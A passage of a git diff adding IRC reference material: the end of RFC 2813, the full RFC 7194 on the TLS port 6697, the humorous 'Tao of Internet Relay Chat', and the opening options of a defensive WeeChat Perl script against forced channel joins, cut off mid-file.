+   servers (SERVICE message) the new service's nickname and other
+   information as supplied by the service (SERVICE message) and as the
+   server could discover (from DNS servers).
+
+5.3 Establishing a server-server connection.
+
+   The process of establishing a server-to-server connection is fraught
+   with danger since there are many possible areas where problems can
+   occur - the least of which are race conditions.
+
+   After a server has received a connection following by a PASS/SERVER
+   pair which were recognized as being valid, the server SHOULD then
+   reply with its own PASS/SERVER information for that connection as
+   well as all of the other state information it knows about as
+   described below.
+
+   When the initiating server receives a PASS/SERVER pair, it too then
+   checks that the server responding is authenticated properly before
+   accepting the connection to be that server.
+
+5.3.1 Link options
+
+   Server links are based on a common protocol (defined by this
+   document) but a particular link MAY set specific options using the
+   PASS message (See Section 4.1.1).
+
+
+
+
+
+
+Kalt                         Informational                     [Page 17]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+5.3.1.1 Compressed server to server links
+
+   If a server wishes to establish a compressed link with its peer, it
+   MUST set the 'Z' flag in the options parameter to the PASS message.
+   If both servers request compression and both servers are able to
+   initialize the two compressed streams, then the remainder of the
+   communication is to be compressed.  If any server fails to initialize
+   the stream, it will send an uncompressed ERROR message to its peer
+   and close the connection.
+
+   The data format used for the compression is described by RFC 1950
+   [ZLIB], RFC 1951 [DEFLATE] and RFC 1952 [GZIP].
+
+5.3.1.2 Anti abuse protections
+
+   Most servers implement various kinds of protections against possible
+   abusive behaviours from non trusted parties (typically users).  On
+   some networks, such protections are indispensable, on others they are
+   superfluous.  To require that all servers implement and enable such
+   features on a particular network, the 'P' flag is used when two
+   servers connect.  If this flag is present, it means that the server
+   protections are enabled, and that the server REQUIRES all its server
+   links to enable them as well.
+
+   Commonly found protections are described in sections 5.7 (Tracking
+   recently used nicknames) and 5.8 (Flood control of clients).
+
+5.3.2 State information exchange when connecting
+
+   The order of state information being exchanged between servers is
+   essential.  The REQUIRED order is as follows:
+
+           * all known servers;
+
+           * all known client information;
+
+           * all known channel information.
+
+   Information regarding servers is sent via extra SERVER messages,
+   client information with NICK and SERVICE messages and channels with
+   NJOIN/MODE messages.
+
+   NOTE: channel topics SHOULD NOT be exchanged here because the TOPIC
+   command overwrites any old topic information, so at best, the two
+   sides of the connection would exchange topics.
+
+
+
+
+
+
+Kalt                         Informational                     [Page 18]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   By passing the state information about servers first, any collisions
+   with servers that already exist occur before nickname collisions
+   caused by a second server introducing a particular nickname.  Due to
+   the IRC network only being able to exist as an acyclic graph, it may
+   be possible that the network has already reconnected in another
+   location.  In this event, the place where the server collision occurs
+   indicates where the net needs to split.
+
+5.4 Terminating server-client connections
+
+   When a client connection unexpectedly closes, a QUIT message is
+   generated on behalf of the client by the server to which the client
+   was connected.  No other message is to be generated or used.
+
+5.5 Terminating server-server connections
+
+   If a server-server connection is closed, either via a SQUIT command
+   or "natural" causes, the rest of the connected IRC network MUST have
+   its information updated by the server which detected the closure.
+   The terminating server then sends a list of SQUITs (one for each
+   server behind that connection).  (See Section 4.1.6 (SQUIT)).
+
+5.6 Tracking nickname changes
+
+   All IRC servers are REQUIRED to keep a history of recent nickname
+   changes.  This is important to allow the server to have a chance of
+   keeping in touch of things when nick-change race conditions occur
+   with commands manipulating them.  Messages which MUST trace nick
+   changes are:
+
+           * KILL (the nick being disconnected)
+
+           * MODE (+/- o,v on channels)
+
+           * KICK (the nick being removed from channel)
+
+      No other commands need to check nick changes.
+
+   In the above cases, the server is required to first check for the
+   existence of the nickname, then check its history to see who that
+   nick now belongs to (if anyone!).  This reduces the chances of race
+   conditions but they can still occur with the server ending up
+   affecting the wrong client.  When performing a change trace for an
+   above command it is RECOMMENDED that a time range be given and
+   entries which are too old ignored.
+
+
+
+
+
+
+Kalt                         Informational                     [Page 19]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   For a reasonable history, a server SHOULD be able to keep previous
+   nickname for every client it knows about if they all decided to
+   change.  This size is limited by other factors (such as memory, etc).
+
+5.7 Tracking recently used nicknames
+
+   This mechanism is commonly known as "Nickname Delay", it has been
+   proven to significantly reduce the number of nickname collisions
+   resulting from "network splits"/reconnections as well as abuse.
+
+   In addition of keeping track of nickname changes, servers SHOULD keep
+   track of nicknames which were recently used and were released as the
+   result of a "network split" or a KILL message.  These nicknames are
+   then unavailable to the server local clients and cannot be re-used
+   (even though they are not currently in use) for a certain period of
+   time.
+
+   The duration for which a nickname remains unavailable SHOULD be set
+   considering many factors among which are the size (user wise) of the
+   IRC network, and the usual duration of "network splits".  It SHOULD
+   be uniform on all servers for a given IRC network.
+
+5.8 Flood control of clients
+
+   With a large network of interconnected IRC servers, it is quite easy
+   for any single client attached to the network to supply a continuous
+   stream of messages that result in not only flooding the network, but
+   also degrading the level of service provided to others.  Rather than
+   require every 'victim' to provide their own protection, flood
+   protection was written into the server and is applied to all clients
+   except services.  The current algorithm is as follows:
+
+   * check to see if client's `message timer' is less than current time
+     (set to be equal if it is);
+
+   * read any data present from the client;
+
+   * while the timer is less than ten (10) seconds ahead of the current
+     time, parse any present messages and penalize the client by two (2)
+     seconds for each message;
+
+   * additional penalties MAY be used for specific commands which
+     generate a lot of traffic across the network.
+
+   This in essence means that the client may send one (1) message every
+   two (2) seconds without being adversely affected.  Services MAY also
+   be subject to this mechanism.
+
+
+
+
+Kalt                         Informational                     [Page 20]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+5.9 Non-blocking lookups
+
+   In a real-time environment, it is essential that a server process
+   does as little waiting as possible so that all the clients are
+   serviced fairly.  Obviously this requires non-blocking IO on all
+   network read/write operations.  For normal server connections, this
+   was not difficult, but there are other support operations that may
+   cause the server to block (such as disk reads).  Where possible, such
+   activity SHOULD be performed with a short timeout.
+
+5.9.1 Hostname (DNS) lookups
+
+   Using the standard resolver libraries from Berkeley and others has
+   meant large delays in some cases where replies have timed out.  To
+   avoid this, a separate set of DNS routines were written for the
+   current implementation.  Routines were setup for non-blocking IO
+   operations with local cache, and then polled from within the main
+   server IO loop.
+
+5.9.2 Username (Ident) lookups
+
+   Although there are numerous ident libraries (implementing the
+   "Identification Protocol" [IDENT]) for use and inclusion into other
+   programs, these caused problems since they operated in a synchronous
+   manner and resulted in frequent delays.  Again the solution was to
+   write a set of routines which would cooperate with the rest of the
+   server and work using non-blocking IO.
+
+6. Current problems
+
+   There are a number of recognized problems with this protocol, all of
+   which are hoped to be solved sometime in the near future during its
+   rewrite.  Currently, work is underway to find working solutions to
+   these problems.
+
+6.1 Scalability
+
+   It is widely recognized that this protocol does not scale
+   sufficiently well when used in a large arena.  The main problem comes
+   from the requirement that all servers know about all other servers
+   and clients and that information regarding them be updated as soon as
+   it changes.  It is also desirable to keep the number of servers low
+   so that the path length between any two points is kept minimal and
+   the spanning tree as strongly branched as possible.
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 21]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+6.2 Labels
+
+   The current IRC protocol has 4 types of labels: the nickname, the
+   channel name, the server name and the service name.  Each of the four
+   types has its own domain and no duplicates are allowed inside that
+   domain.  Currently, it is possible for users to pick the label for
+   any of the first three, resulting in collisions.  It is widely
+   recognized that this needs reworking, with a plan for unique names
+   for nicks that don't collide being desirable as well as a solution
+   allowing a cyclic tree.
+
+6.2.1 Nicknames
+
+   The idea of the nickname on IRC is very convenient for users to use
+   when talking to each other outside of a channel, but there is only a
+   finite nickname space and being what they are, it's not uncommon for
+   several people to want to use the same nick.  If a nickname is chosen
+   by two people using this protocol, either one will not succeed or
+   both will be removed by use of KILL (See Section 3.7.1 of "IRC Client
+   Protocol" [IRC-CLIENT]).
+
+6.2.2 Channels
+
+   The current channel layout requires that all servers know about all
+   channels, their inhabitants and properties.  Besides not scaling
+   well, the issue of privacy is also a concern.  A collision of
+   channels is treated as an inclusive event (people from both nets on
+   channel with common name are considered to be members of it) rather
+   than an exclusive one such as used to solve nickname collisions.
+
+   This protocol defines "Safe Channels" which are very unlikely to be
+   the subject of a channel collision.  Other channel types are kept for
+   backward compatibility.
+
+6.2.3 Servers
+
+   Although the number of servers is usually small relative to the
+   number of users and channels, they too are currently REQUIRED to be
+   known globally, either each one separately or hidden behind a mask.
+
+6.3 Algorithms
+
+   In some places within the server code, it has not been possible to
+   avoid N^2 algorithms such as checking the channel list of a set of
+   clients.
+
+
+
+
+
+
+Kalt                         Informational                     [Page 22]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   In current server versions, there are only few database consistency
+   checks, most of the time each server assumes that a neighbouring
+   server is correct.  This opens the door to large problems if a
+   connecting server is buggy or otherwise tries to introduce
+   contradictions to the existing net.
+
+   Currently, because of the lack of unique internal and global labels,
+   there are a multitude of race conditions that exist.  These race
+   conditions generally arise from the problem of it taking time for
+   messages to traverse and effect the IRC network.  Even by changing to
+   unique labels, there are problems with channel-related commands being
+   disrupted.
+
+7. Security Considerations
+
+7.1 Authentication
+
+   Servers only have two means of authenticating incoming connections:
+   plain text password, and DNS lookups.  While these methods are weak
+   and widely recognized as unsafe, their combination has proven to be
+   sufficient in the past:
+
+    * public networks typically allow user connections with only few
+      restrictions, without requiring accurate authentication.
+
+    * private networks which operate in a controlled environment often
+      use home-grown authentication mechanisms not available on the
+      internet: reliable ident servers [IDENT], or other proprietary
+      mechanisms.
+
+   The same comments apply to the authentication of IRC Operators.
+
+   It should also be noted that while there has been no real demand over
+   the years for stronger authentication, and no real effort to provide
+   better means to safely authenticate users, the current protocol
+   offers enough to be able to easily plug-in external authentication
+   methods based on the information that a client can submit to the
+   server upon connection: nickname, username, password.
+
+7.2 Integrity
+
+   Since the PASS and OPER messages of the IRC protocol are sent in
+   clear text, a stream layer encryption mechanism (like "The TLS
+   Protocol" [TLS]) could be used to protect these transactions.
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 23]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+8. Current support and availability
+
+      Mailing lists for IRC related discussion:
+        General discussion: ircd-users@irc.org
+        Protocol development: ircd-dev@irc.org
+
+      Software implementations:
+        ftp://ftp.irc.org/irc/server
+        ftp://ftp.funet.fi/pub/unix/irc
+        ftp://coombs.anu.edu.au/pub/irc
+
+      Newsgroup: alt.irc
+
+9. Acknowledgements
+
+   Parts of this document were copied from the RFC 1459 [IRC] which
+   first formally documented the IRC Protocol.  It has also benefited
+   from many rounds of review and comments.  In particular, the
+   following people have made significant contributions to this
+   document:
+
+   Matthew Green, Michael Neumayer, Volker Paulsen, Kurt Roeckx, Vesa
+   Ruokonen, Magnus Tjernstrom, Stefan Zehl.
+
+10. References
+
+   [KEYWORDS]   Bradner, S., "Key words for use in RFCs to Indicate
+                Requirement Levels", BCP 14, RFC 2119, March 1997.
+
+   [ABNF]       Crocker, D. and P. Overell, "Augmented BNF for Syntax
+                Specifications: ABNF", RFC 2234, November 1997.
+
+   [IRC]        Oikarinen, J. and D. Reed, "Internet Relay Chat
+                Protocol", RFC 1459, May 1993.
+
+   [IRC-ARCH]   Kalt, C., "Internet Relay Chat: Architecture", RFC 2810,
+                April 2000.
+
+   [IRC-CLIENT] Kalt, C., "Internet Relay Chat: Client Protocol", RFC
+                2812, April 2000.
+
+
+   [IRC-CHAN]   Kalt, C., "Internet Relay Chat: Channel Management", RFC
+                2811, April 2000.
+
+   [ZLIB]       Deutsch, P. and J-L. Gailly, "ZLIB Compressed Data
+                Format Specification version 3.3", RFC 1950, May 1996.
+
+
+
+
+Kalt                         Informational                     [Page 24]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   [DEFLATE]    Deutsch, P., "DEFLATE Compressed Data Format
+                Specification version 1.3", RFC 1951, May 1996.
+
+   [GZIP]       Deutsch, P., "GZIP file format specification version
+                4.3", RFC 1952, May 1996.
+
+   [IDENT]      St. Johns, M., "The Identification Protocol", RFC 1413,
+                February 1993.
+
+   [TLS]        Dierks, T. and C. Allen, "The TLS Protocol", RFC 2246,
+                January 1999.
+
+11. Author's Address
+
+   Christophe Kalt
+   99 Teaneck Rd, Apt #117
+   Ridgefield Park, NJ 07660
+   USA
+
+   EMail: kalt@stealth.net
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 25]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+12.  Full Copyright Statement
+
+   Copyright (C) The Internet Society (2000).  All Rights Reserved.
+
+   This document and translations of it may be copied and furnished to
+   others, and derivative works that comment on or otherwise explain it
+   or assist in its implementation may be prepared, copied, published
+   and distributed, in whole or in part, without restriction of any
+   kind, provided that the above copyright notice and this paragraph are
+   included on all such copies and derivative works.  However, this
+   document itself may not be modified in any way, such as by removing
+   the copyright notice or references to the Internet Society or other
+   Internet organizations, except as needed for the purpose of
+   developing Internet standards in which case the procedures for
+   copyrights defined in the Internet Standards process must be
+   followed, or as required to translate it into languages other than
+   English.
+
+   The limited permissions granted above are perpetual and will not be
+   revoked by the Internet Society or its successors or assigns.
+
+   This document and the information contained herein is provided on an
+   "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING
+   TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING
+   BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION
+   HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF
+   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+Acknowledgement
+
+   Funding for the RFC Editor function is currently provided by the
+   Internet Society.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 26]
+
diff --git a/rfc/rfc7194.txt b/rfc/rfc7194.txt
new file mode 100644
index 0000000..f1f6144
--- /dev/null
+++ b/rfc/rfc7194.txt
@@ -0,0 +1,339 @@
+
+
+
+
+
+
+Independent Submission                                       R. Hartmann
+Request for Comments: 7194                                   August 2014
+Updates: 1459
+Category: Informational
+ISSN: 2070-1721
+
+
+         Default Port for Internet Relay Chat (IRC) via TLS/SSL
+
+Abstract
+
+   This document describes the commonly accepted practice of listening
+   on TCP port 6697 for incoming Internet Relay Chat (IRC) connections
+   encrypted via TLS/SSL.
+
+Status of This Memo
+
+   This document is not an Internet Standards Track specification; it is
+   published for informational purposes.
+
+   This is a contribution to the RFC Series, independently of any other
+   RFC stream.  The RFC Editor has chosen to publish this document at
+   its discretion and makes no statement about its value for
+   implementation or deployment.  Documents approved for publication by
+   the RFC Editor are not a candidate for any level of Internet
+   Standard; see Section 2 of RFC 5741.
+
+   Information about the current status of this document, any errata,
+   and how to provide feedback on it may be obtained at
+   http://www.rfc-editor.org/info/rfc7194.
+
+Copyright Notice
+
+   Copyright (c) 2014 IETF Trust and the persons identified as the
+   document authors.  All rights reserved.
+
+   This document is subject to BCP 78 and the IETF Trust's Legal
+   Provisions Relating to IETF Documents
+   (http://trustee.ietf.org/license-info) in effect on the date of
+   publication of this document.  Please review these documents
+   carefully, as they describe your rights and restrictions with respect
+   to this document.
+
+
+
+
+
+
+
+
+
+Hartmann                      Informational                     [Page 1]
+
+RFC 7194            Default Port for IRC via TLS/SSL         August 2014
+
+
+Table of Contents
+
+   1. Rationale .......................................................2
+   2. Technical Details ...............................................2
+      2.1. Connection Establishment ...................................2
+      2.2. Certificate Details ........................................3
+           2.2.1. Server Certificate ..................................3
+           2.2.2. Client Certificate ..................................3
+   3. Security Considerations .........................................3
+   4. IANA Considerations .............................................4
+   5. Normative References ............................................4
+   6. Informative References ..........................................4
+   7. Acknowledgements ................................................5
+   Appendix A. Supporting Data ........................................6
+
+1.  Rationale
+
+   Although system port assignments exist for IRC traffic that is plain
+   text (TCP/UDP port 194) or TLS/SSL encrypted (TCP/UDP port 994)
+   [IANALIST], it is common practice amongst IRC networks not to use
+   them for reasons of convenience and general availability on systems
+   where no root access is granted or desired.
+
+   IRC networks have defaulted to listening on TCP port 6667 for plain
+   text connections for a considerable time now.  This is covered by the
+   IRCU assignment of TCP/UDP ports 6665-6669.
+
+   Similar consensus has been reached within the IRC community about
+   listening on TCP port 6697 for incoming IRC connections encrypted via
+   TLS/SSL [RFC5246].
+
+2.  Technical Details
+
+2.1.  Connection Establishment
+
+   An IRC client connects to an IRC server.  Immediately after that, a
+   normal TLS/SSL handshake takes place.  Once the TLS/SSL connection
+   has been established, a normal IRC connection is established via the
+   tunnel.  Optionally, the IRC server may set a specific user mode
+   (umode) for the client, marking it as using TLS/SSL.  Again,
+   optionally, an IRC server might offer the option to create channels
+   in such a way that only clients connected via TLS/SSL may join.
+
+   For details on how IRC works, see [RFC1459], [RFC2810], [RFC2811],
+   [RFC2812], and [RFC2813].  Please note that IRC is extremely
+   fragmented, and implementation details can vary wildly.  Most
+   implementations regard the latter RFCs as suggestions, not as
+   binding.
+
+
+
+Hartmann                      Informational                     [Page 2]
+
+RFC 7194            Default Port for IRC via TLS/SSL         August 2014
+
+
+2.2.  Certificate Details
+
+2.2.1.  Server Certificate
+
+   The IRC server's certificate should be issued by a commonly trusted
+   certification authority (CA).
+
+   The Common Name should match the Fully Qualified Domain Name (FQDN)
+   of the IRC server or have appropriate wildcards, if applicable.
+
+   The IRC client should verify the certificate.
+
+2.2.2.  Client Certificate
+
+   If the client is using a certificate as well, it should be issued by
+   a commonly trusted CA or a CA designated by the IRC network.
+
+   The certificate's Common Name should match the main IRC nickname.
+
+   If the network offers nick registration, this nick should be used.
+
+   If the network offers grouped nicks, the main nick or account name
+   should be used.
+
+   If the network offers nick registration, the client certificate
+   should be used to identify the user against the nick database.  See
+   [CERTFP] for a possible implementation.
+
+3.  Security Considerations
+
+   The lack of a common, well-established listening port for IRC via
+   TLS/SSL could lead to end users being unaware of their IRC network of
+   choice supporting TLS/SSL.  Thus, they might not use encryption even
+   if they wanted to.
+
+   It should be noted that this document merely describes client-to-
+   server encryption.  There are still other attack vectors like
+   malicious administrators, compromised servers, insecure server-to-
+   server communication, channels that do not enforce encryption for all
+   channel members, malicious clients, or comprised client machines on
+   which logs are stored.
+
+   Those attacks can by their very nature not be addressed by client-to-
+   server encryption.  Additional safeguards are needed if a user fears
+   any of the threats above.
+
+
+
+
+
+
+Hartmann                      Informational                     [Page 3]
+
+RFC 7194            Default Port for IRC via TLS/SSL         August 2014
+
+
+   This document does not address server links as there are no commonly
+   accepted ports or even back-end protocols.  Ports and back-end
+   protocols are normally established in a bilateral agreement.  All
+   operators are encouraged to use strong encryption for back-end
+   traffic, no matter if they offer IRC via TLS/SSL to end users.
+
+4.  IANA Considerations
+
+   An assignment of TCP port 6697 for IRC via TLS/SSL has been made.
+   The service name is "ircs-u" and the description "Internet Relay Chat
+   via TLS/SSL":
+
+   ircs-u  6697/tcp       Internet Relay Chat via TLS/SSL
+
+5.  Normative References
+
+   [RFC1459]  Oikarinen, J. and D. Reed, "Internet Relay Chat Protocol",
+              RFC 1459, May 1993.
+
+   [RFC2810]  Kalt, C., "Internet Relay Chat: Architecture", RFC 2810,
+              April 2000.
+
+   [RFC2811]  Kalt, C., "Internet Relay Chat: Channel Management", RFC
+              2811, April 2000.
+
+   [RFC2812]  Kalt, C., "Internet Relay Chat: Client Protocol", RFC
+              2812, April 2000.
+
+   [RFC2813]  Kalt, C., "Internet Relay Chat: Server Protocol", RFC
+              2813, April 2000.
+
+   [RFC5246]  Dierks, T. and E. Rescorla, "The Transport Layer Security
+              (TLS) Protocol Version 1.2", RFC 5246, August 2008.
+
+6.  Informative References
+
+   [IANALIST] IANA, "Service Name and Transport Protocol Port Number
+              Registry", <http://www.iana.org/assignments/
+              service-names-port-numbers>.
+
+   [TOP100]   netsplit.de, "IRC Networks - Top 100",
+              <http://irc.netsplit.de/networks/top100.php>.
+
+   [MAVERICK] netsplit.de, "IRC Networks - in alphabetical order",
+              <http://irc.netsplit.de/networks/
+              lists.php?query=maverick>.
+
+
+
+
+
+Hartmann                      Informational                     [Page 4]
+
+RFC 7194            Default Port for IRC via TLS/SSL         August 2014
+
+
+   [CERTFP]   The Open and Free Technology Community, "OFTC -
+              NickServ/CertFP",
+              <http://www.oftc.net/oftc/NickServ/CertFP>.
+
+7.  Acknowledgements
+
+   Thanks go to the IRC community at large for reaching a consensus.
+
+   Special thanks go to the IRC operators who were eager to support port
+   6697 on their respective networks.
+
+   Special thanks also go to Nevil Brownlee and James Schaad for working
+   on this document in their capacities as Independent Submissions
+   Editor and Reviewer, respectively.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Hartmann                      Informational                     [Page 5]
+
+RFC 7194            Default Port for IRC via TLS/SSL         August 2014
+
+
+Appendix A.  Supporting Data
+
+   As of October 2010, out of the top twenty IRC networks [TOP100]
+   [MAVERICK], ten support TLS/SSL.  Only one of those networks does not
+   support TLS/SSL via port 6697 and has no plans to support it.  All
+   others supported it already or are supporting it since being
+   contacted by the author.  A more detailed analysis is available but
+   does not fit within the scope of this document.
+
+Authors' Address
+
+   Richard Hartmann
+   Munich
+   Germany
+
+   EMail: richih.mailinglist@gmail.com
+   URI:   http://richardhartmann.de
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Hartmann                      Informational                     [Page 6]
+
diff --git a/tao.of.irc b/tao.of.irc
new file mode 100644
index 0000000..d78e3c5
--- /dev/null
+++ b/tao.of.irc
@@ -0,0 +1,271 @@
+
+The Tao of Internet Relay Chat
+Copyright (C) Ove Ruben R Olsen 1994
+Version of 940110
+Contributing masters: Master ScottM
+
+-----
+Something is formed by the electrons, born in the silent cable. Shaping
+and growing and ungrowing. It is there yet not there. It is the source of
+Internet Relay Chat. I do not know the name, thus I will call it the Tao
+of Internet Relay Chat.
+
+If the Tao is great, then the IRC is running ceaselessly. If the IRC is
+great then the server is running without ever stoping. If the server is
+great then the client will always be the server. The luser is then pleased
+and there is Chat in the world.
+
+The Tao of IRC squits far away and connects on returning.
+
+
+-----
+The genetic potential of birth, a lot to know, yet unknown.
+
+In the begining there was nothing.
+
+Out of nothing the Tao gave birth to tolsun.oulu.fi. tolsun gave birth to
+OuluBox.
+
+OuluBox gave birth to rmsg.
+
+rmsg was not Tao, so MUT gave birth to IRC.
+
+No one knows when IRC came into existance, the mighty master WiZ have it
+to be at the end of the eight month in the year of the Dragon.
+
+
+-----
+Each channel has its purpose, however humble. Each channel is the Yin and
+Yang of IRC. Each channels has it's place within the IRC.
+
+In the beginning there was only channel 0, thus channel 0 is the soil of
+IRC.
+
+Channel 1 to channel 10 then was open as the sea. Channel 11 to 999 was the
+trees and forests of IRC. Channels above 999 should not be mentioned, and
+channels below 0 were unborn and contained many secrets.
+
+This was not the right Tao, so IRC gave birth to +channels.
+
++channels had the yin and yang. Mode does not.
+
+This was not the right Tao still, so IRC gave birth to #channels.
+
+#channels have the yin and yang.
+
+Only channel 0 is the right path to Tao, but avoid speaking on channel 0.
+
+
+-----
+There was a great dispute among the Broom-Walkers of the Relay. Some of them
+wanted neither yin nor yang. Out of this Eris came into existance. Some of the
+Broom-Walkers then created Eris Free-net.
+
+This was the right Tao.
+
+Kind Gentle and Boring Net was another wrong path to the Tao of Internet Relay
+Chat.
+
+Some time later there was a quantity of some lusers who wanted to be
+Broom-Walkers also. The Eris Free Broom-Walkers did not agree with them,
+thus a new IRC was born. This IRC is called the Undernet.
+
+But this is not the right Tao, either.
+
+
+-----
+There will always be disputes among the Broom-Walkers of Internet Relay Chat.
+
+This is the very nature of the IRC.
+
+
+-----
+Lusers that do not understand the Tao is always using the yang of Mode on
+their channels. Lusers that do understand the Tao are always using Ignore
+on their channels.
+
+How could this not be so ?
+
+
+-----
+The wise sage luser is told about the Chat and uses it. The luser is told
+about the IRC and is looking for it. The flock are told about the Tao and
+make a fool of the IRC.
+
+If there was no laughter, there would be no Tao.
+
+
+-----
+The master says:
+"Without the Tao of Internet Relay Chat, life becomes meaningless."
+
+The Relay of the old time was mysterious and sacred. We can neither imagine
+its thoughts nor path; we are left but to describe.
+
+
+-----
+The sage luser must be aware like a frog crossing the highway.
+
+
+-----
+The great master Wumpus once dreamed that he was an automaton. When he awoke
+he exclaimed:
+        "I don't know whether I am Wumpus dreaming that I am a client,
+                 or a client dreaming that I am Wumpus!"
+                 
+So was the first Automata born.
+
+The master Nap then said:
+        "Any automata should not speak unless spoken to.
+         Any automata shall only whisper when spoken to."
+
+Thus replied the master Gnarfer:
+        "The lusers shall keep in mind that a automata can be either good or
+         bad. Create good automata, and the IRC will hail you and you will
+         gain fame and fortune. Create bad automata and people will start to
+         hate you, and finaly you will be /KILLed to ethernal damnation"
+
+Many lusers have fallen into the clutches of ethernal damnation. They where
+not following the Tao.
+
+
+-----
+There once was a luser who went to #BotSex. Each day he saw the automatons.
+The luser decided that he also would have such a automata.
+He asked another luser for his automata. The other luser gave his automata
+away.
+
+The luser was not within the Tao, so he just started the automata. The automata
+had only Yang inside so all the lusers files where deleted.
+
+Some moons laither the same luser then had become a sage luser, and did create
+his automata from the very grounds with materials found inside the IRC.
+The luser was now within the Tao and his automata lived happily ever after.
+
+
+-----
+There once was a master who wrote automatons without the help of master Phone.
+A novice luser, seeking to imitate him, began with the help of master Phone.
+When the novice luser asked the master to evaluate his automata the master
+replied: "What is a working automata for the master is not for the luser.
+You must must BE the IRC before automating."
+
+
+-----
+Master BigCheese gave birth to master Troy; his duty clear. Master Troy gave
+birth to master Phone, for the Tao of Irc must be eternal and must flow as the
+ceaseless river of Time itself.
+
+
+-----
+Master Phone once said about the ircII client:
+        "public_msg is for a message from someone NOT on the channel
+         public_other is for a message on a channel that doesn't belong to
+         a window. public is for a message on a channel that belongs to a
+         window!"
+
+Out of this raised the mighty chaos.
+
+
+-----
+The sage luser came to the master who wrote automata without the help of
+master Phone. The sage luser asked the master who wrote automata: "Which is
+easiest to make. A automata with the help of master Phone or an automata
+made with the help of a language ?"
+
+The master who wrote automata then replied:
+        "With the help of a language."
+
+The sage luser was disapointed and exclaimed: "But, with master Phone you
+do not need to know anything about the soil of IRC. Is not that the easiet
+way ?"
+
+"Not really" said the master who wrote automata, "when using master Phone
+you are closed inside a box. For sure, it is a great box for the lusers,
+but the master will need more power, thus a language is the only path to go.
+With the language the master will never have to limit himself. When using
+such a language the master will seek the best between the need and the
+availibility."
+
+"I see", said the sage luser.
+
+This is the essence of Tao of IRC automatas.
+
+
+-----
+A client should be light and be used for communication. The spirit of a good
+client is that it should be very convinient for the luser to use, but hard
+for the luser who want to create automata.
+There should never ever be too many functions or too few functions.
+
+There should always be a ignore.
+
+Without ignore the client is not within the Tao of Chating.
+
+The client should always respond the luser with messages that will not
+astnonish him too much. The server likewise. If the server does not, then it
+is the clients job to explain what the server says.
+
+A client which fails this, will be useless and cause confusion for the lusers.
+The only way to correct this is to use another client or to write a new one.
+
+
+-----
+A luser asked the masters on #IrcHelp: "My client does not work".
+The masters replied: "Upgrade your client".
+The luser then wondered why the master knew. The master then told him about
+the Protocol.
+
+"Your client does not work beaucse it does not understand the server. Why
+should it always work ? Only a fool would expect such. But, clients are made
+by humans, and humans are not perfect. Only Tao is.
+
+The IRC is solid. The IRC is floating, and will always be dynamic. Live with
+that or /quit."
+
+
+-----
+The luser came to the masters of #IrcHelp, asking about the Tao of IRC within
+the client.
+The masters then said that the Tao of IRC always lies inside the client
+regardless of how the client connects to the server.
+
+"Is the Tao in irc ?" asked the luser.
+"It so is" replied the masters of #IrcHelp.
+"Is the Tao in the ircII, Kiwi, rxirc, vms, rockers and msa ?" asked the
+luser.
+"In all of them and in the TPC, irchat, zenirc, zircon X11-irc and even the
+dos irc has the Tao" said the master quietly.
+"Is the Tao in a telnet connection directly to the server ?"
+
+The master then was quiet for a long time and said. "Please leave, such
+questions are not within the Tao of IRC".
+
+
+-----
+The master says: "Without the Protocol of TCP the messages will not travel.
+                  Without the client, the server is useless."
+
+
+-----
+There once was a luser who used the ircII client. "ircII can do anything I
+ever need for using IRC" said the emacs client user, "I have /ON's, I have
+assignments, I have aliasing. Why don't you use this instead of the huge
+emacs client, which also has a messy screen?"
+The emacs client user then replied by saying that "it is better to have a
+scripting language that is the client instead of have a client that has
+a scripting language." Upon hearing this, the ircII client luser fell silent.
+
+
+-----
+The master Wumpus said: "Time for you to leave. I did, now I'm happy."
+The master Gnarfer replied: "Use, but never overuse IRC, then you will also
+be happy within IRC"
+
+
+-----
+A luser came unto the masters of #EU-Opers and asked, "How can I be, yet not
+be, a user@host within the IRC?"
+The masters of #EU-Opers replied: "To be Tao is to be ones true self. To hide
+ones self is not Tao, and is not IRC, you have much to learn before you shall
+be at rest within the Flow of Irc.  Please leave"
diff --git a/weechat-scripts/antifuck.pl b/weechat-scripts/antifuck.pl
new file mode 100644
index 0000000..e95259b
--- /dev/null
+++ b/weechat-scripts/antifuck.pl
@@ -0,0 +1,369 @@
+# Released into the Public Domain
+
+use strict;
+use warnings;
+
+no strict 'subs';
+
+my $SCRIPT_NAME = 'antifuck';
+my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
+my $SCRIPT_VERSION = '1.1';
+my $SCRIPT_LICENCE = 'Public domain';
+my $SCRIPT_DESC = 'Defend against forcejoins (e.g. from fuckyou.pl) and '.
+	'forceparts (e.g. from /remove)';
+
+my %OPTIONS = (
+	autopart => ['Whether to automatically part forcejoined channels. '.
+		'You can always do this manually with /antifuck part', '0'],
+	delay => ['Delay in milliseconds to wait before autoparting', '5000'],
+	forward => ['Whether to allow channel forwards (+f on freenode)', '1'],
+	ignore => ['Servers to ignore (e.g. for bouncers), separated by comma', ''],
